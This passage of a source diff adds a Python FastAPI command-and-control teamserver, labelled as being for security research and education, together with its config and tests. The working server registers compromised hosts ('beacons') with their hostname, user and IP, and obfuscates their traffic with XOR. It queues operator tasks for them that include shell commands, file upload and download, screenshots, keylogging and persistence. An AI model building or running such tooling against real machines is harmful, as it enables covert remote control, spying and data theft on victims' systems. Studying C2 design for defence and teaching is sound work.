def is_active(self, beacon_id: str) -> bool:
"""
Check if a beacon has an active WebSocket connection
"""
return beacon_id in self._connections
def list_active_ids(self) -> list[str]:
"""
Return IDs of all currently connected beacons
"""
return list(self._connections.keys())
async def get_all(self, db: aiosqlite.Connection) -> list[BeaconRecord]:
"""
Retrieve all beacon records from the database
"""
cursor = await db.execute("SELECT * FROM beacons ORDER BY last_seen DESC")
rows = await cursor.fetchall()
return [BeaconRecord(**dict(row)) for row in rows]
async def get_one(
self,
beacon_id: str,
db: aiosqlite.Connection,
) -> BeaconRecord | None:
"""
Retrieve a single beacon record by ID
"""
cursor = await db.execute("SELECT * FROM beacons WHERE id = ?",
(beacon_id,
))
row = await cursor.fetchone()
if row is None:
return None
return BeaconRecord(**dict(row))
async def update_last_seen(
self,
beacon_id: str,
db: aiosqlite.Connection,
) -> None:
"""
Update the last_seen timestamp for a beacon heartbeat
"""
now = datetime.now(UTC).isoformat()
await db.execute(
"UPDATE beacons SET last_seen = ? WHERE id = ?",
(now,
beacon_id),
)
await db.commit()

View File

@ -0,0 +1,169 @@
"""
AngelaMos | 2026
router.py
"""
import asyncio
import logging
import uuid
from fastapi import APIRouter, WebSocket, WebSocketDisconnect
from app.beacon.registry import BeaconRegistry
from app.beacon.tasking import TaskManager
from app.config import settings
from app.core.models import BeaconMeta, TaskResult
from app.core.protocol import Message, MessageType, pack, unpack
from app.database import get_db
logger = logging.getLogger(__name__)
router = APIRouter()
async def _send_tasks(
ws: WebSocket,
beacon_id: str,
task_manager: TaskManager,
) -> None:
"""
Coroutine that awaits queued tasks and sends them to the beacon
"""
while True:
task = await task_manager.get_next(beacon_id)
message = Message(
type = MessageType.TASK,
payload = {
"id": task.id,
"command": task.command,
"args": task.args,
},
)
await ws.send_text(pack(message, settings.XOR_KEY))
async def _receive_messages(
ws: WebSocket,
beacon_id: str,
registry: BeaconRegistry,
task_manager: TaskManager,
ops_broadcast: object,
) -> None:
"""
Coroutine that processes incoming messages from the beacon
"""
while True:
raw = await ws.receive_text()
message = unpack(raw, settings.XOR_KEY)
if message.type == MessageType.RESULT:
result = TaskResult(
id = str(uuid.uuid4()),
task_id = message.payload["task_id"],
output = message.payload.get("output"),
error = message.payload.get("error"),
)
async with get_db() as db:
await task_manager.store_result(result, db)
if hasattr(ops_broadcast, "broadcast"):
await ops_broadcast.broadcast(
{
"type": "task_result",
"payload": result.model_dump(),
}
)
elif message.type == MessageType.HEARTBEAT:
async with get_db() as db:
await registry.update_last_seen(beacon_id, db)
if hasattr(ops_broadcast, "broadcast"):
await ops_broadcast.broadcast(
{
"type": "heartbeat",
"payload": {
"id": beacon_id
},
}
)
@router.websocket("/beacon")
async def beacon_websocket(ws: WebSocket) -> None:
"""
WebSocket endpoint for beacon connections
"""
await ws.accept()
registry: BeaconRegistry = ws.app.state.registry
task_manager: TaskManager = ws.app.state.task_manager
ops_manager = ws.app.state.ops_manager
beacon_id: str | None = None
try:
raw = await ws.receive_text()
message = unpack(raw, settings.XOR_KEY)
if message.type != MessageType.REGISTER:
await ws.close(code = 4001, reason = "Expected REGISTER message")
return
meta = BeaconMeta.model_validate(message.payload)
beacon_id = message.payload.get("id", str(uuid.uuid4()))
async with get_db() as db:
await registry.register(beacon_id, meta, ws, db)
logger.info("Beacon registered: %s (%s)", beacon_id, meta.hostname)
if hasattr(ops_manager, "broadcast"):
beacon_record = meta.model_dump()
beacon_record["id"] = beacon_id
await ops_manager.broadcast(
{
"type": "beacon_connected",
"payload": beacon_record,
}
)
send_task = asyncio.create_task(_send_tasks(ws, beacon_id, task_manager))
recv_task = asyncio.create_task(
_receive_messages(ws,
beacon_id,
registry,
task_manager,
ops_manager)
)
done, pending = await asyncio.wait(
[send_task, recv_task],
return_when=asyncio.FIRST_COMPLETED,
)
for task in pending:
task.cancel()
for task in done:
if (exc := task.exception()) is not None:
raise exc
except WebSocketDisconnect:
logger.info("Beacon disconnected: %s", beacon_id)
except ValueError as exc:
logger.warning("Protocol error from beacon %s: %s", beacon_id, exc)
finally:
if beacon_id:
async with get_db() as db:
await registry.unregister(beacon_id, db)
task_manager.remove_queue(beacon_id)
if hasattr(ops_manager, "broadcast"):
await ops_manager.broadcast(
{
"type": "beacon_disconnected",
"payload": {
"id": beacon_id
},
}
)

View File

@ -0,0 +1,122 @@
"""
AngelaMos | 2026
tasking.py
"""
import asyncio
import aiosqlite
from app.core.models import TaskRecord, TaskResult
class TaskManager:
"""
Per-beacon async task queues backed by SQLite persistence
"""
def __init__(self) -> None:
"""
Initialize empty queue registry
"""
self._queues: dict[str, asyncio.Queue[TaskRecord]] = {}
def _ensure_queue(self, beacon_id: str) -> asyncio.Queue[TaskRecord]:
"""
Create a task queue for a beacon if one does not exist
"""
if beacon_id not in self._queues:
self._queues[beacon_id] = asyncio.Queue()
return self._queues[beacon_id]
async def submit(
self,
task: TaskRecord,
db: aiosqlite.Connection,
) -> None:
"""
Persist a task to SQLite and enqueue it for beacon delivery
"""
await db.execute(
"""
INSERT INTO tasks (id, beacon_id, command, args, status, created_at)
VALUES (?, ?, ?, ?, ?, ?)
""",
(
task.id,
task.beacon_id,
task.command,
task.args,
task.status,
task.created_at,
),
)
await db.commit()
queue = self._ensure_queue(task.beacon_id)
await queue.put(task)
async def get_next(self, beacon_id: str) -> TaskRecord:
"""
Await the next task for a beacon (blocks until available)
"""
queue = self._ensure_queue(beacon_id)
return await queue.get()
async def store_result(
self,
result: TaskResult,
db: aiosqlite.Connection,
) -> None:
"""
Persist a task result and mark the parent task as completed
"""
await db.execute(
"""
INSERT INTO task_results (id, task_id, output, error, created_at)
VALUES (?, ?, ?, ?, ?)
""",
(
result.id,
result.task_id,
result.output,
result.error,
result.created_at,
),
)
await db.execute(
"UPDATE tasks SET status = 'completed', completed_at = ? WHERE id = ?",
(result.created_at,
result.task_id),
)
await db.commit()
async def get_history(
self,
beacon_id: str,
db: aiosqlite.Connection,
) -> list[dict[str,
str | None]]:
"""
Retrieve task history with results for a specific beacon
"""
cursor = await db.execute(
"""
SELECT
t.id, t.command, t.args, t.status, t.created_at, t.completed_at,
tr.output, tr.error
FROM tasks t
LEFT JOIN task_results tr ON t.id = tr.task_id
WHERE t.beacon_id = ?
ORDER BY t.created_at DESC
""",
(beacon_id,
),
)
rows = await cursor.fetchall()
return [dict(row) for row in rows]
def remove_queue(self, beacon_id: str) -> None:
"""
Clean up the task queue when a beacon disconnects
"""
self._queues.pop(beacon_id, None)

View File

@ -0,0 +1,63 @@
"""
AngelaMos | 2026
config.py
"""
from functools import lru_cache
from pathlib import Path
from typing import Literal
from pydantic import Field
from pydantic_settings import BaseSettings, SettingsConfigDict
_PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent
_ENV_FILE = _PROJECT_ROOT / ".env"
class Settings(BaseSettings):
"""
Application settings loaded from environment variables
"""
model_config = SettingsConfigDict(
env_file = _ENV_FILE,
env_file_encoding = "utf-8",
case_sensitive = False,
extra = "ignore",
)
APP_NAME: str = "C2 Beacon Server"
APP_VERSION: str = "1.0.0"
ENVIRONMENT: Literal["development", "production"] = "development"
DEBUG: bool = False
HOST: str = "0.0.0.0"
PORT: int = 8000
RELOAD: bool = True
DATABASE_PATH: Path = Path("data/c2.db")
XOR_KEY: str = Field(
default = "c2-beacon-default-key-change-me",
min_length = 8,
)
CORS_ORIGINS: list[str] = [
"http://localhost",
"http://localhost:47430",
"http://localhost:47432",
]
LOG_LEVEL: Literal["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"] = "INFO"
@lru_cache
def get_settings() -> Settings:
"""
Cached settings instance to avoid repeated env parsing
"""
return Settings()
settings = get_settings()

View File

@ -0,0 +1,31 @@
"""
AngelaMos | 2026
encoding.py
"""
import base64
def xor_bytes(data: bytes, key: bytes) -> bytes:
"""
XOR each byte of data with a repeating key
"""
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def encode(payload: str, key: str) -> str:
"""
Encode a plaintext payload: UTF-8 bytes -> XOR -> Base64 string
"""
raw = payload.encode("utf-8")
xored = xor_bytes(raw, key.encode("utf-8"))
return base64.b64encode(xored).decode("ascii")
def decode(encoded: str, key: str) -> str:
"""
Decode an encoded payload: Base64 string -> XOR -> UTF-8 string
"""
xored = base64.b64decode(encoded)
raw = xor_bytes(xored, key.encode("utf-8"))
return raw.decode("utf-8")

View File

@ -0,0 +1,85 @@
"""
AngelaMos | 2026
models.py
"""
from datetime import UTC, datetime
from enum import StrEnum
from pydantic import BaseModel, Field
class CommandType(StrEnum):
"""
Supported beacon command types mapped to MITRE ATT&CK techniques
"""
SHELL = "shell"
SYSINFO = "sysinfo"
PROCLIST = "proclist"
UPLOAD = "upload"
DOWNLOAD = "download"
SCREENSHOT = "screenshot"
KEYLOG_START = "keylog_start"
KEYLOG_STOP = "keylog_stop"
PERSIST = "persist"
SLEEP = "sleep"
class BeaconMeta(BaseModel):
"""
Metadata collected from a beacon during registration
"""
hostname: str
os: str
username: str
pid: int
internal_ip: str
arch: str
class BeaconRecord(BeaconMeta):
"""
Full beacon record including server-assigned fields
"""
id: str
first_seen: str
last_seen: str
class TaskRequest(BaseModel):
"""
Operator-submitted task targeting a specific beacon
"""
beacon_id: str
command: CommandType
args: str | None = None
class TaskRecord(BaseModel):
"""
Persisted task with tracking metadata
"""
id: str
beacon_id: str
command: CommandType
args: str | None = None
status: str = "pending"
created_at: str = Field(default_factory = lambda: datetime.now(UTC).isoformat())
completed_at: str | None = None
class TaskResult(BaseModel):
"""
Result returned by a beacon after executing a task
"""
id: str
task_id: str
output: str | None = None
error: str | None = None
created_at: str = Field(default_factory = lambda: datetime.now(UTC).isoformat())

View File

@ -0,0 +1,59 @@
"""
AngelaMos | 2026
protocol.py
"""
import binascii
import json
from enum import StrEnum
from typing import Any
from pydantic import BaseModel, ValidationError
from app.core.encoding import decode, encode
class MessageType(StrEnum):
"""
WebSocket message types in the C2 protocol
"""
REGISTER = "REGISTER"
HEARTBEAT = "HEARTBEAT"
TASK = "TASK"
RESULT = "RESULT"
ERROR = "ERROR"
class Message(BaseModel):
"""
Protocol envelope wrapping all WebSocket communications
"""
type: MessageType
payload: dict[str, Any]
def pack(message: Message, key: str) -> str:
"""
Serialize a Message to an XOR+Base64 encoded string
"""
raw_json = message.model_dump_json()
return encode(raw_json, key)
def unpack(raw: str, key: str) -> Message:
"""
Decode an XOR+Base64 string into a validated Message
"""
try:
decoded_json = decode(raw, key)
data = json.loads(decoded_json)
return Message.model_validate(data)
except (
json.JSONDecodeError,
ValidationError,
UnicodeDecodeError,
binascii.Error,
) as exc:
raise ValueError(f"Invalid protocol message: {exc}") from exc

View File

@ -0,0 +1,71 @@
"""
AngelaMos | 2026
database.py
"""
from collections.abc import AsyncIterator
from contextlib import asynccontextmanager
import aiosqlite
from app.config import settings
SCHEMA = """
CREATE TABLE IF NOT EXISTS beacons (
id TEXT PRIMARY KEY,
hostname TEXT NOT NULL,
os TEXT NOT NULL,
username TEXT NOT NULL,
pid INTEGER NOT NULL,
internal_ip TEXT NOT NULL,
arch TEXT NOT NULL,
first_seen TEXT NOT NULL,
last_seen TEXT NOT NULL
);
CREATE TABLE IF NOT EXISTS tasks (
id TEXT PRIMARY KEY,
beacon_id TEXT NOT NULL,
command TEXT NOT NULL,
args TEXT,
status TEXT NOT NULL DEFAULT 'pending',
created_at TEXT NOT NULL,
completed_at TEXT,
FOREIGN KEY (beacon_id) REFERENCES beacons(id)
);
CREATE TABLE IF NOT EXISTS task_results (
id TEXT PRIMARY KEY,
task_id TEXT NOT NULL UNIQUE,
output TEXT,
error TEXT,
created_at TEXT NOT NULL,
FOREIGN KEY (task_id) REFERENCES tasks(id)
);
"""
async def init_db() -> None:
"""
Create database directory and initialize schema
"""
settings.DATABASE_PATH.parent.mkdir(parents = True, exist_ok = True)
async with aiosqlite.connect(settings.DATABASE_PATH) as db:
await db.executescript(SCHEMA)
await db.execute("PRAGMA journal_mode=WAL")
await db.execute("PRAGMA foreign_keys=ON")
await db.commit()
@asynccontextmanager
async def get_db() -> AsyncIterator[aiosqlite.Connection]:
"""
Async context manager yielding a database connection
"""
db = await aiosqlite.connect(settings.DATABASE_PATH)
db.row_factory = aiosqlite.Row
await db.execute("PRAGMA foreign_keys=ON")
try:
yield db
finally:
await db.close()

View File

@ -0,0 +1,61 @@
"""
AngelaMos | 2026
manager.py
"""
import json
import logging
from typing import Any
from fastapi import WebSocket
logger = logging.getLogger(__name__)
class OpsManager:
"""
Manages operator WebSocket connections and broadcasts C2 events
"""
def __init__(self) -> None:
"""
Initialize empty operator connection set
"""
self._connections: set[WebSocket] = set()
async def connect(self, ws: WebSocket) -> None:
"""
Accept and track a new operator WebSocket connection
"""
await ws.accept()
self._connections.add(ws)
logger.info("Operator connected (%d total)", len(self._connections))
def disconnect(self, ws: WebSocket) -> None:
"""
Remove an operator WebSocket connection
"""
self._connections.discard(ws)
logger.info("Operator disconnected (%d remaining)", len(self._connections))
async def broadcast(self, event: dict[str, Any]) -> None:
"""
Send an event to all connected operators, removing stale connections
"""
stale: list[WebSocket] = []
payload = json.dumps(event)
for ws in self._connections:
try:
await ws.send_text(payload)
except (ConnectionError, RuntimeError):
stale.append(ws)
for ws in stale:
self._connections.discard(ws)
@property
def connection_count(self) -> int:
"""
Number of active operator connections
"""
return len(self._connections)

View File

@ -0,0 +1,137 @@
"""
AngelaMos | 2026
router.py
"""
import json
import logging
import uuid
from typing import Any
from fastapi import APIRouter, HTTPException, Request, WebSocket, WebSocketDisconnect
from app.beacon.registry import BeaconRegistry
from app.beacon.tasking import TaskManager
from app.core.models import CommandType, TaskRecord
from app.database import get_db
from app.ops.manager import OpsManager
logger = logging.getLogger(__name__)
ws_router = APIRouter()
rest_router = APIRouter()
@ws_router.websocket("/operator")
async def operator_websocket(ws: WebSocket) -> None:
"""
WebSocket endpoint for operator dashboard connections
"""
ops_manager: OpsManager = ws.app.state.ops_manager
registry: BeaconRegistry = ws.app.state.registry
task_manager: TaskManager = ws.app.state.task_manager
await ops_manager.connect(ws)
try:
async with get_db() as db:
beacons = await registry.get_all(db)
beacon_list = []
for b in beacons:
record = b.model_dump()
record["active"] = registry.is_active(b.id)
beacon_list.append(record)
await ws.send_text(json.dumps({
"type": "beacon_list",
"payload": beacon_list,
}))
while True:
raw = await ws.receive_text()
data = json.loads(raw)
if data.get("type") == "submit_task":
payload = data["payload"]
task = TaskRecord(
id = str(uuid.uuid4()),
beacon_id = payload["beacon_id"],
command = CommandType(payload["command"]),
args = payload.get("args"),
)
async with get_db() as db:
await task_manager.submit(task, db)
await ws.send_text(
json.dumps(
{
"type": "task_submitted",
"payload": {
"local_id": payload.get("local_id"),
"task_id": task.id,
},
}
)
)
logger.info(
"Task %s (%s) submitted for beacon %s",
task.id,
task.command,
task.beacon_id,
)
except WebSocketDisconnect:
pass
except json.JSONDecodeError:
logger.warning("Invalid JSON from operator")
finally:
ops_manager.disconnect(ws)
@rest_router.get("/beacons")
async def list_beacons(request: Request) -> list[dict[str, Any]]:
"""
List all known beacons with active connection status
"""
registry: BeaconRegistry = request.app.state.registry
async with get_db() as db:
beacons = await registry.get_all(db)
result = []
for b in beacons:
record = b.model_dump()
record["active"] = registry.is_active(b.id)
result.append(record)
return result
@rest_router.get("/beacons/{beacon_id}")
async def get_beacon(request: Request, beacon_id: str) -> dict[str, Any]:
"""
Retrieve a single beacon by ID with active status
"""
registry: BeaconRegistry = request.app.state.registry
async with get_db() as db:
beacon = await registry.get_one(beacon_id, db)
if beacon is None:
raise HTTPException(status_code = 404, detail = "Beacon not found")
record = beacon.model_dump()
record["active"] = registry.is_active(beacon_id)
return record
@rest_router.get("/beacons/{beacon_id}/tasks")
async def beacon_task_history(request: Request,
beacon_id: str) -> list[dict[str,
str | None]]:
"""
Retrieve task history with results for a specific beacon
"""
task_manager: TaskManager = request.app.state.task_manager
async with get_db() as db:
return await task_manager.get_history(beacon_id, db)

View File

@ -0,0 +1,165 @@
[project]
name = "c2-beacon-server"
version = "1.0.0"
description = "C2 beacon teamserver for security research and education"
requires-python = ">=3.12"
authors = [
{name = "CarterPerez-dev", email = "support@certgames.com"}
]
readme = "README.md"
license = {text = "AGPL-3.0"}
dependencies = [
"fastapi[standard]>=0.129.0",
"pydantic>=2.12.5,<3.0.0",
"pydantic-settings>=2.12.0,<3.0.0",
"aiosqlite>=0.22.1",
"uvicorn[standard]>=0.40.0",
"gunicorn>=25.1.0",
]
[project.optional-dependencies]
dev = [
"pytest>=9.0.2",
"pytest-asyncio>=1.3.0",
"pytest-cov>=7.0.0",
"httpx>=0.28.1",
"ruff>=0.15.1",
"mypy>=1.19.1",
"pylint>=4.0.4",
]
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["app"]
[tool.ruff]
target-version = "py312"
line-length = 88
src = ["app"]
[tool.ruff.lint]
select = [
"E", # pycodestyle errors
"W", # pycodestyle warnings
"F", # pyflakes
"B", # flake8-bugbear
"C4", # flake8-comprehensions
"UP", # pyupgrade
"ARG", # flake8-unused-arguments
"SIM", # flake8-simplify
"PTH", # flake8-use-pathlib
"RUF", # ruff-specific
"ASYNC", # flake8-async
"S", # flake8-bandit (security)
"N", # pep8-naming
"I", # isort
]
ignore = [
"E501", # line too long (formatter handles)
"B008", # function call in default argument (FastAPI Depends)
"S101", # assert usage (needed for tests)
"S104", # 0.0.0.0 binding (intentional for Docker)
"ARG001", # unused function argument (common in FastAPI deps)
"N818", # exception naming convention
"RUF005", # list concatenation style
]
[tool.ruff.lint.per-file-ignores]
"tests/**/*.py" = ["S101", "ARG001"]
[tool.mypy]
python_version = "3.12"
strict = true
warn_return_any = true
warn_unused_ignores = true
disallow_untyped_defs = true
disallow_incomplete_defs = true
exclude = [".venv", "venv"]
[[tool.mypy.overrides]]
module = ["tests.*", "conftest"]
ignore_errors = true
[[tool.mypy.overrides]]
module = ["aiosqlite", "aiosqlite.*"]
ignore_missing_imports = true
[tool.pylint.main]
py-version = "3.12"
jobs = 4
persistent = true
ignore = [
"venv",
".venv",
"__pycache__",
"build",
"dist",
".git",
".pytest_cache",
".mypy_cache",
".ruff_cache",
]
ignore-paths = [
"^venv/.*",
"^.venv/.*",
"^build/.*",
"^dist/.*",
]
[tool.pylint.messages_control]
disable = [
"C0103", # invalid-name
"C0116", # missing-function-docstring
"C0301", # line-too-long
"C0302", # too-many-lines
"C0303", # trailing-whitespace
"C0304", # final-newline-missing
"C0305", # trailing-newlines
"C0411", # wrong-import-order
"C0412", # ungrouped-imports
"E0401", # import-error
"R0801", # similar-lines
"R0903", # too-few-public-methods
"W0611", # unused-import (handled by ruff)
"W0612", # unused-variable (handled by ruff)
"W0613", # unused-argument (handled by ruff)
"W0621", # redefined-outer-name
]
[tool.pylint.format]
max-line-length = 95
[tool.pylint.design]
max-args = 10
max-attributes = 12
max-branches = 15
max-locals = 20
max-statements = 55
[tool.pytest.ini_options]
asyncio_mode = "auto"
asyncio_default_fixture_loop_scope = "function"
testpaths = ["tests"]
addopts = "-ra -q"
filterwarnings = [
"ignore::DeprecationWarning",
]
[tool.coverage.run]
branch = true
source = ["app"]
[tool.coverage.report]
exclude_lines = [
"pragma: no cover",
"if TYPE_CHECKING:",
"raise NotImplementedError",
]

View File

@ -0,0 +1,32 @@
"""
AngelaMos | 2026
conftest.py
"""
import tempfile
from pathlib import Path
import pytest
from config import Settings
@pytest.fixture
def tmp_db_path(tmp_path: Path) -> Path:
"""
Provide a temporary database path for test isolation
"""
return tmp_path / "test_c2.db"
@pytest.fixture
def test_settings(tmp_db_path: Path) -> Settings:
"""
Settings override pointing to a temporary database
"""
return Settings(
DATABASE_PATH=tmp_db_path,
XOR_KEY="test-xor-key-12345",
ENVIRONMENT="development",
DEBUG=True,
)

View File

@ -0,0 +1,86 @@
"""
AngelaMos | 2026
test_app.py
"""
from pathlib import Path
import pytest
from httpx import ASGITransport, AsyncClient
from beacon.registry import BeaconRegistry
from beacon.tasking import TaskManager
from database import init_db
from ops.manager import OpsManager
@pytest.fixture
async def client(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> AsyncClient:
"""
Provide an async HTTP client with a test app using isolated database
"""
test_db_path = tmp_path / "test.db"
import config
monkeypatch.setattr(config.settings, "DATABASE_PATH", test_db_path)
monkeypatch.setattr(config.settings, "APP_NAME", "C2 Beacon Server")
import database
monkeypatch.setattr(database, "settings", config.settings)
await init_db()
from app.__main__ import create_app
test_app = create_app()
test_app.state.registry = BeaconRegistry()
test_app.state.task_manager = TaskManager()
test_app.state.ops_manager = OpsManager()
transport = ASGITransport(app=test_app)
async with AsyncClient(transport=transport, base_url="http://test") as ac:
yield ac
class TestHealthAndRoot:
"""
Verify health check and root information endpoints
"""
async def test_health_returns_200(self, client: AsyncClient) -> None:
"""
Health endpoint responds with 200 and status healthy
"""
response = await client.get("/health")
assert response.status_code == 200
assert response.json()["status"] == "healthy"
async def test_root_returns_app_info(self, client: AsyncClient) -> None:
"""
Root endpoint returns application name and version
"""
response = await client.get("/")
data = response.json()
assert "name" in data
assert "version" in data
class TestBeaconEndpoints:
"""
Verify REST beacon listing endpoints
"""
async def test_list_beacons_empty(self, client: AsyncClient) -> None:
"""
Beacons list returns empty array with no registered beacons
"""
response = await client.get("/beacons")
assert response.status_code == 200
assert response.json() == []
async def test_get_beacon_not_found(self, client: AsyncClient) -> None:
"""
Non-existent beacon ID returns 404
"""
response = await client.get("/beacons/nonexistent")
assert response.status_code == 404

View File

@ -0,0 +1,83 @@
"""
AngelaMos | 2026
test_encoding.py
"""
import pytest
from core.encoding import decode, encode, xor_bytes
class TestXorBytes:
"""
Verify XOR byte transformation correctness
"""
def test_roundtrip(self) -> None:
"""
XOR applied twice with the same key returns original data
"""
data = b"hello world"
key = b"secret"
assert xor_bytes(xor_bytes(data, key), key) == data
def test_single_byte_key(self) -> None:
"""
XOR works correctly with a single-byte key
"""
data = b"\x00\x01\x02\x03"
key = b"\xff"
result = xor_bytes(data, key)
assert result == b"\xff\xfe\xfd\xfc"
def test_empty_data(self) -> None:
"""
XOR of empty data returns empty bytes
"""
assert xor_bytes(b"", b"key") == b""
class TestEncodeDecode:
"""
Verify the full encode/decode pipeline
"""
def test_roundtrip_ascii(self) -> None:
"""
ASCII payload survives encode -> decode
"""
payload = '{"type": "REGISTER", "payload": {"hostname": "test"}}'
key = "my-secret-key"
assert decode(encode(payload, key), key) == payload
def test_roundtrip_unicode(self) -> None:
"""
Unicode payload survives encode -> decode
"""
payload = '{"name": "test-\u00e9\u00e8\u00ea"}'
key = "unicode-key"
assert decode(encode(payload, key), key) == payload
def test_different_keys_produce_different_output(self) -> None:
"""
Same payload with different keys produces different ciphertext
"""
payload = "identical payload"
encoded_a = encode(payload, "key-alpha")
encoded_b = encode(payload, "key-bravo")
assert encoded_a != encoded_b
def test_wrong_key_produces_garbage(self) -> None:
"""
Decoding with the wrong key does not return the original payload
"""
payload = '{"command": "shell"}'
encoded = encode(payload, "correct-key")
decoded = decode(encoded, "wrong-key-here")
assert decoded != payload
def test_empty_payload(self) -> None:
"""
Empty string survives encode -> decode
"""
assert decode(encode("", "key"), "key") == ""

View File

@ -0,0 +1,139 @@
"""
AngelaMos | 2026
test_protocol.py
"""
import pytest
from core.models import CommandType
from core.protocol import Message, MessageType, pack, unpack
TEST_KEY = "test-protocol-key"
class TestPackUnpack:
"""
Verify protocol message serialization roundtrips
"""
def test_register_roundtrip(self) -> None:
"""
REGISTER message survives pack -> unpack
"""
original = Message(
type=MessageType.REGISTER,
payload={
"hostname": "desktop-01",
"os": "Linux",
"username": "root",
"pid": 1234,
"internal_ip": "10.0.0.5",
"arch": "x86_64",
},
)
packed = pack(original, TEST_KEY)
restored = unpack(packed, TEST_KEY)
assert restored.type == MessageType.REGISTER
assert restored.payload["hostname"] == "desktop-01"
assert restored.payload["pid"] == 1234
def test_task_roundtrip(self) -> None:
"""
TASK message survives pack -> unpack
"""
original = Message(
type=MessageType.TASK,
payload={
"id": "task-001",
"command": CommandType.SHELL,
"args": "whoami",
},
)
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
assert restored.type == MessageType.TASK
assert restored.payload["command"] == "shell"
def test_result_roundtrip(self) -> None:
"""
RESULT message survives pack -> unpack
"""
original = Message(
type=MessageType.RESULT,
payload={
"task_id": "task-001",
"output": "root\n",
"error": None,
},
)
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
assert restored.type == MessageType.RESULT
assert restored.payload["output"] == "root\n"
def test_heartbeat_roundtrip(self) -> None:
"""
HEARTBEAT message survives pack -> unpack
"""
original = Message(
type=MessageType.HEARTBEAT,
payload={"id": "beacon-abc"},
)
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
assert restored.type == MessageType.HEARTBEAT
def test_error_roundtrip(self) -> None:
"""
ERROR message survives pack -> unpack
"""
original = Message(
type=MessageType.ERROR,
payload={"detail": "command not found"},
)
restored = unpack(pack(original, TEST_KEY), TEST_KEY)
assert restored.type == MessageType.ERROR
assert restored.payload["detail"] == "command not found"
class TestUnpackValidation:
"""
Verify unpack rejects malformed data
"""
def test_invalid_base64(self) -> None:
"""
Non-base64 input raises ValueError
"""
with pytest.raises(ValueError, match="Invalid protocol message"):
unpack("not-valid-base64!!!", TEST_KEY)
def test_invalid_json_after_decode(self) -> None:
"""
Valid base64 but invalid JSON after XOR raises ValueError
"""
from core.encoding import encode
encoded = encode("this is not json", TEST_KEY)
with pytest.raises(ValueError, match="Invalid protocol message"):
unpack(encoded, TEST_KEY)
def test_missing_type_field(self) -> None:
"""
JSON without 'type' field raises ValueError
"""
from core.encoding import encode
encoded = encode('{"payload": {}}', TEST_KEY)
with pytest.raises(ValueError, match="Invalid protocol message"):
unpack(encoded, TEST_KEY)
def test_invalid_message_type(self) -> None:
"""
Unknown message type raises ValueError
"""
from core.encoding import encode
encoded = encode(
'{"type": "BOGUS", "payload": {}}', TEST_KEY
)
with pytest.raises(ValueError, match="Invalid protocol message"):
unpack(encoded, TEST_KEY)

View File

@ -0,0 +1,164 @@
"""
AngelaMos | 2026
test_registry.py
"""
from pathlib import Path
from unittest.mock import AsyncMock
import aiosqlite
import pytest
from beacon.registry import BeaconRegistry
from core.models import BeaconMeta
from database import SCHEMA
@pytest.fixture
async def db(tmp_path: Path) -> aiosqlite.Connection:
"""
Provide a fresh in-memory-like SQLite connection with schema
"""
db_path = tmp_path / "test.db"
conn = await aiosqlite.connect(db_path)
conn.row_factory = aiosqlite.Row
await conn.executescript(SCHEMA)
await conn.commit()
yield conn
await conn.close()
@pytest.fixture
def registry() -> BeaconRegistry:
"""
Provide a fresh BeaconRegistry instance
"""
return BeaconRegistry()
@pytest.fixture
def sample_meta() -> BeaconMeta:
"""
Provide sample beacon metadata
"""
return BeaconMeta(
hostname="test-host",
os="Linux",
username="root",
pid=1234,
internal_ip="10.0.0.5",
arch="x86_64",
)
class TestBeaconRegistry:
"""
Verify beacon registration, unregistration, and queries
"""
async def test_register_adds_to_active(
self,
registry: BeaconRegistry,
sample_meta: BeaconMeta,
db: aiosqlite.Connection,
) -> None:
"""
Registering a beacon makes it appear in the active list
"""
ws = AsyncMock()
await registry.register("beacon-001", sample_meta, ws, db)
assert registry.is_active("beacon-001")
assert "beacon-001" in registry.list_active_ids()
async def test_register_persists_to_db(
self,
registry: BeaconRegistry,
sample_meta: BeaconMeta,
db: aiosqlite.Connection,
) -> None:
"""
Registering a beacon creates a database record
"""
ws = AsyncMock()
await registry.register("beacon-002", sample_meta, ws, db)
record = await registry.get_one("beacon-002", db)
assert record is not None
assert record.hostname == "test-host"
assert record.os == "Linux"
async def test_unregister_removes_from_active(
self,
registry: BeaconRegistry,
sample_meta: BeaconMeta,
db: aiosqlite.Connection,
) -> None:
"""
Unregistering a beacon removes it from the active list
"""
ws = AsyncMock()
await registry.register("beacon-003", sample_meta, ws, db)
await registry.unregister("beacon-003", db)
assert not registry.is_active("beacon-003")
assert "beacon-003" not in registry.list_active_ids()
async def test_unregister_preserves_db_record(
self,
registry: BeaconRegistry,
sample_meta: BeaconMeta,
db: aiosqlite.Connection,
) -> None:
"""
Unregistering updates last_seen but does not delete the record
"""
ws = AsyncMock()
await registry.register("beacon-004", sample_meta, ws, db)
await registry.unregister("beacon-004", db)
record = await registry.get_one("beacon-004", db)
assert record is not None
async def test_get_all_returns_records(
self,
registry: BeaconRegistry,
sample_meta: BeaconMeta,
db: aiosqlite.Connection,
) -> None:
"""
get_all returns all persisted beacon records
"""
ws = AsyncMock()
await registry.register("beacon-a", sample_meta, ws, db)
await registry.register("beacon-b", sample_meta, ws, db)
records = await registry.get_all(db)
ids = {r.id for r in records}
assert "beacon-a" in ids
assert "beacon-b" in ids
async def test_get_one_returns_none_for_missing(
self,
registry: BeaconRegistry,
db: aiosqlite.Connection,
) -> None:
"""
get_one returns None for a non-existent beacon ID
"""
assert await registry.get_one("nonexistent", db) is None
async def test_get_connection(
self,
registry: BeaconRegistry,
sample_meta: BeaconMeta,
db: aiosqlite.Connection,
) -> None:
"""
get_connection returns the stored WebSocket
"""
ws = AsyncMock()
await registry.register("beacon-005", sample_meta, ws, db)
assert registry.get_connection("beacon-005") is ws
assert registry.get_connection("nonexistent") is None

View File

@ -0,0 +1,188 @@
"""
AngelaMos | 2026
test_tasking.py
"""
import asyncio
from pathlib import Path
import aiosqlite
import pytest
from beacon.tasking import TaskManager
from core.models import CommandType, TaskRecord, TaskResult
from database import SCHEMA
@pytest.fixture
async def db(tmp_path: Path) -> aiosqlite.Connection:
"""
Provide a fresh SQLite connection with schema
"""
db_path = tmp_path / "test.db"
conn = await aiosqlite.connect(db_path)
conn.row_factory = aiosqlite.Row
await conn.executescript(SCHEMA)
await conn.execute(
"""
